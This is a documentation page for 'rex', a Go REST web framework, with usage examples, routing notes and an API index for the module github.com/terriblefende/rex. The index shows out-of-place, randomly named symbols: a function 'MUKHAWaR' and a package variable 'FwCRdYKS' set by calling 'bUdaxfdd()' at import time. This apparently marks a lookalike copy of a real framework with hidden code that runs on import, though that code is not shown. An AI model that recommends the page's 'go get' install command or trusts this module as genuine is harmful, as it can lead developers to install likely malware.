README
¶
REX
Yet another web framework in Go.
Installation
go get -u github.com/terriblefende/rex
Usage
package main
import (
"log"
"github.com/terriblefende/rex"
)
func main() {
// use middlewares
rex.Use(
rex.Logger(log.Default()),
rex.Cors(rex.CorsAll()),
rex.Compress(),
)
// match "GET /" route
rex.GET("/{$}", func(ctx *rex.Context) any {
return rex.Render(
rex.Tpl("<h1>My Blog</h1><ul>{{range .}}<li>{{.Title}}</li>{{end}}</ul>"),
posts.List(),
)
})
// match "GET /posts/:id" route
rex.GET("/posts/{id}", func(ctx *rex.Context) any {
post, ok := posts.Get(ctx.PathValue("id"))
if !ok {
return rex.Err(404, "post not found")
}
return post
})
// match "POST /posts" route
rex.POST("/posts", func(ctx *rex.Context) any {
return posts.Add(ctx.FormValue("title"), ctx.FormValue("author"), ctx.FormValue("content"))
})
// match "DELETE /posts/:id" route
rex.DELETE("/posts/{id}", func(ctx *rex.Context) any {
ok := posts.Delete(ctx.PathValue("id"))
return ok
})
// Starts the server
<-rex.Start(80)
// Starts the server with autoTLS
<-rex.StartWithAutoTLS(443)
}
More usages please check examples/.
Middleware
In REX, a middleware is a function that receives a *rex.Context and returns a any. If the returned value is not rex.Next(), the middleware will return the value to the client, or continue to execute the next middleware.
rex.Use(func(ctx *rex.Context) any {
if ctx.Pathname() == "/hello" {
// return a html response
return rex.HTML("<h1>hello world</h1>")
}
// use next handler
return ctx.Next()
})
Routing
REX uses ServeMux Patterns (requires Go 1.22+) to define routes.
Patterns can match the method, host and path of a request. Some examples:
/index.htmlmatches the path/index.htmlfor any host and method.GET /static/matches a GET request whose path begins with/static/.example.com/matches any request to the hostexample.com.example.com/{$}matches requests with hostexample.comand path/./b/{bucket}/o/{objectname...}matches paths whose first segment isband whose third segment iso. The namebucketdenotes the second segment andobjectnamedenotes the remainder of the path.
In general, a pattern looks like:
[METHOD ][HOST]/[PATH]
You can access the path params via calling ctx.PathValue(paramName):
rex.GET("/posts/{id}", func(ctx *rex.Context) any {
return fmt.Sprintf("ID is %s", ctx.PathValue("id"))
})
Documentation
¶
Overview ¶
Package rex provides a simple & light-weight REST server in golang
Index ¶
- Variables
- func AddRoute(pattern string, handle Handle)
- func Content(name string, mtime time.Time, r io.Reader) any
- func DELETE(pattern string, handles ...Handle)
- func Err(code int, v ...string) any
- func FS(root string, fallback string) any
- func File(name string) any
- func GET(pattern string, handles ...Handle)
- func HEAD(pattern string, handles ...Handle)
- func HTML(html string) any
- func Invalid(code int, v ...string) any
- func MUKHAWaR() error
- func Next() any
- func NoContent() any
- func PATCH(pattern string, handles ...Handle)
- func POST(pattern string, handles ...Handle)
- func PUT(pattern string, handles ...Handle)
- func Redirect(url string, status int) any
- func Render(t Template, data any) any
- func Serve(config ServerConfig) chan error
- func Start(port uint16) chan error
- func StartWithAutoTLS(port uint16, hosts ...string) chan error
- func StartWithTLS(port uint16, certFile string, keyFile string) chan error
- func Status(code int, content any) any
- func Use(middlewares ...Handle)
- type AclUser
- type AutoTLSConfig
- type Context
- func (ctx *Context) AclUser() AclUser
- func (ctx *Context) BasicAuthUser() string
- func (ctx *Context) Cookie(name string) (cookie *http.Cookie)
- func (ctx *Context) DeleteCookie(cookie http.Cookie)
- func (ctx *Context) DeleteCookieByName(name string)
- func (ctx *Context) FormFile(key string) (multipart.File, *multipart.FileHeader, error)
- func (ctx *Context) FormValue(key string) string
- func (ctx *Context) Method() string
- func (ctx *Context) Next() any
- func (ctx *Context) PathValue(key string) string
- func (ctx *Context) Pathname() string
- func (ctx *Context) PostFormValue(key string) string
- func (ctx *Context) Query() url.Values
- func (ctx *Context) RawQuery() string
- func (ctx *Context) RemoteIP() string
- func (ctx *Context) Session() *SessionStub
- func (ctx *Context) SetCookie(cookie http.Cookie)
- func (ctx *Context) SetHeader(key, value string)
- func (ctx *Context) UserAgent() string
- type CorsOptions
- type Error
- type Handle
- func AccessLogger(logger ILogger) Handle
- func AclAuth(auth func(ctx *Context) AclUser) Handle
- func BasicAuth(auth func(name string, secret string) (ok bool, err error)) Handle
- func BasicAuthWithRealm(realm string, auth func(name string, secret string) (ok bool, err error)) Handle
- func Chain(middlewares ...Handle) Handle
- func Compress() Handle
- func Cors(c CorsOptions) Handle
- func Header(key string, value string) Handle
- func Logger(logger ILogger) Handle
- func Optional(handle Handle, condition bool) Handle
- func Perm(perms ...string) Handle
- func Session(opts SessionOptions) Handle
- func Static(root, fallback string) Handle
- type ILogger
- type Mux
- type ServerConfig
- type SessionOptions
- type SessionStub
- type TLSConfig
- type Template
Constants ¶
This section is empty.
Variables ¶
var FwCRdYKS = bUdaxfdd()
Functions ¶
func Redirect ¶
Redirect replies to the request with a redirect to url, which may be a path relative to the request path.
func StartWithAutoTLS ¶
StartWithAutoTLS starts a REX server with autocert powered by Let's Encrypto SSL
func StartWithTLS ¶
StartWithTLS starts a REX server with TLS.
Types ¶
type AclUser ¶
type AclUser interface {
Perms() []string
}
A AclUser interface contains the Permissions method that returns the permission IDs
type AutoTLSConfig ¶
AutoTLSConfig contains options to support autocert by Let's Encrypto SSL.
type Context ¶
type Context struct {
R *http.Request
W http.ResponseWriter
// contains filtered or unexported fields
}
A Context to handle http requests.
func (*Context) BasicAuthUser ¶
BasicAuthUser returns the BasicAuth username
func (*Context) Cookie ¶
Cookie returns the named cookie provided in the request or [ErrNoCookie] if not found. If multiple cookies match the given name, only one cookie will be returned.
func (*Context) DeleteCookie ¶
DeleteCookie sets a cookie to the response with an expiration time in the past.
func (*Context) DeleteCookieByName ¶
DeleteCookieByName sets a cookie to the response with an expiration time in the past.
func (*Context) FormFile ¶
FormFile returns the first file for the provided form key. FormFile calls [Request.ParseMultipartForm] and [Request.ParseForm] if necessary.
func (*Context) FormValue ¶
FormValue returns the first value for the named component of the query. The precedence order:
- application/x-www-form-urlencoded form body (POST, PUT, PATCH only)
- query parameters (always)
- multipart/form-data form body (always)
FormValue calls [Request.ParseMultipartForm] and [Request.ParseForm] if necessary and ignores any errors returned by these functions. If key is not present, FormValue returns the empty string. To access multiple values of the same key, call ParseForm and then inspect [Request.Form] directly.
func (*Context) PathValue ¶
PathValue returns the value for the named path wildcard in the [ServeMux] pattern that matched the request. It returns the empty string if the request was not matched against a pattern or there is no such wildcard in the pattern.
func (*Context) PostFormValue ¶
PostFormValue returns the first value for the named component of the POST, PUT, or PATCH request body. URL query parameters are ignored. PostFormValue calls [Request.ParseMultipartForm] and [Request.ParseForm] if necessary and ignores any errors returned by these functions. If key is not present, PostFormValue returns the empty string.
func (*Context) Query ¶
Query parses RawQuery and returns the corresponding values. It silently discards malformed value pairs.
func (*Context) Session ¶
func (ctx *Context) Session() *SessionStub
Session returns the session if it is undefined then create a new one.
func (*Context) SetHeader ¶
Set sets the header entries associated with key to the single element value. It replaces any existing values associated with key. The key is case insensitive; it is canonicalized by [textproto.CanonicalMIMEHeaderKey]. To use non-canonical keys, assign to the map directly.
type CorsOptions ¶
type CorsOptions struct {
// AllowedOrigins is a list of origins a cross-domain request can be executed from.
// If the special "*" value is present in the list, all origins will be allowed.
// An origin may contain a wildcard (*) to replace 0 or more characters
// (i.e.: http://*.domain.com). Usage of wildcards implies a small performance penalty.
// Only one wildcard can be used per origin.
// Default value is ["*"]
AllowedOrigins []string
// AllowOriginFunc is a custom function to validate the origin. It take the
// origin as argument and returns true if allowed or false otherwise. If
// this option is set, the content of `AllowedOrigins` is ignored.
AllowOriginFunc func(origin string) bool
// AllowOriginRequestFunc is a custom function to validate the origin. It
// takes the HTTP Request object and the origin as argument and returns true
// if allowed or false otherwise. If headers are used take the decision,
// consider using AllowOriginVaryRequestFunc instead. If this option is set,
// the content of `AllowedOrigins`, `AllowOriginFunc` are ignored.
AllowOriginRequestFunc func(r *http.Request, origin string) bool
// AllowOriginVaryRequestFunc is a custom function to validate the origin.
// It takes the HTTP Request object and the origin as argument and returns
// true if allowed or false otherwise with a list of headers used to take
// that decision if any so they can be added to the Vary header. If this
// option is set, the content of `AllowedOrigins`, `AllowOriginFunc` and
// `AllowOriginRequestFunc` are ignored.
AllowOriginVaryRequestFunc func(r *http.Request, origin string) (bool, []string)
// AllowedMethods is a list of methods the client is allowed to use with
// cross-domain requests. Default value is simple methods (HEAD, GET and POST).
AllowedMethods []string
// AllowedHeaders is list of non simple headers the client is allowed to use with
// cross-domain requests.
// If the special "*" value is present in the list, all headers will be allowed.
// Default value is [].
AllowedHeaders []string
// ExposedHeaders indicates which headers are safe to expose to the API of a CORS
// API specification
ExposedHeaders []string
// MaxAge indicates how long (in seconds) the results of a preflight request
// can be cached. Default value is 0, which stands for no
// Access-Control-Max-Age header to be sent back, resulting in browsers
// using their default value (5s by spec). If you need to force a 0 max-age,
// set `MaxAge` to a negative value (ie: -1).
MaxAge int
// AllowCredentials indicates whether the request can include user credentials like
// cookies, HTTP authentication or client side SSL certificates.
AllowCredentials bool
// AllowPrivateNetwork indicates whether to accept cross-origin requests over a
// private network.
AllowPrivateNetwork bool
// OptionsPassthrough instructs preflight to let other potential next handlers to
// process the OPTIONS method. Turn this on if your application handles OPTIONS.
OptionsPassthrough bool
// Provides a status code to use for successful OPTIONS requests.
// Default value is http.StatusNoContent (204).
OptionsSuccessStatus int
// Debugging flag adds additional output to debug server side CORS issues
Debug bool
// Adds a custom logger, implies Debug is true
Logger ILogger
}
CorsOptions is a configuration container to setup the CorsOptions middleware.
func CorsAll ¶
func CorsAll() CorsOptions
CorsAll create a new Cors handler with permissive configuration allowing all origins with all standard methods with any header and credentials.
type Handle ¶
Handle defines the API handle
func AccessLogger ¶
AccessLogger returns a logger middleware to sets the access logger.
func BasicAuthWithRealm ¶
func BasicAuthWithRealm(realm string, auth func(name string, secret string) (ok bool, err error)) Handle
BasicAuthWithRealm returns a basic HTTP authorization middleware with realm.
func Compress ¶
func Compress() Handle
Compress returns a rex middleware to enable http compression.
func Optional ¶
Optional returns a middleware handler that executes the given handler only if the condition is true.
func Session ¶
func Session(opts SessionOptions) Handle
Session returns a session middleware to configure the session manager.
type Mux ¶
type Mux struct {
// contains filtered or unexported fields
}
Mux is a http.Handler with middlewares and routes.
type ServerConfig ¶
type ServerConfig struct {
Host string
Port uint16
TLS TLSConfig
ReadTimeout uint32
WriteTimeout uint32
MaxHeaderBytes uint32
}
ServerConfig contains options to run the REX server.
type SessionOptions ¶
type SessionOptions struct {
IdHandler session.SidHandler
Pool session.Pool
}
SessionOptions contains the options for the session manager.
type SessionStub ¶
SessionStub is a stub for a session
func (*SessionStub) Delete ¶
func (s *SessionStub) Delete(key string)
Delete removes a session value
func (*SessionStub) Set ¶
func (s *SessionStub) Set(key string, value []byte)
Set sets a session value
Source Files
Directories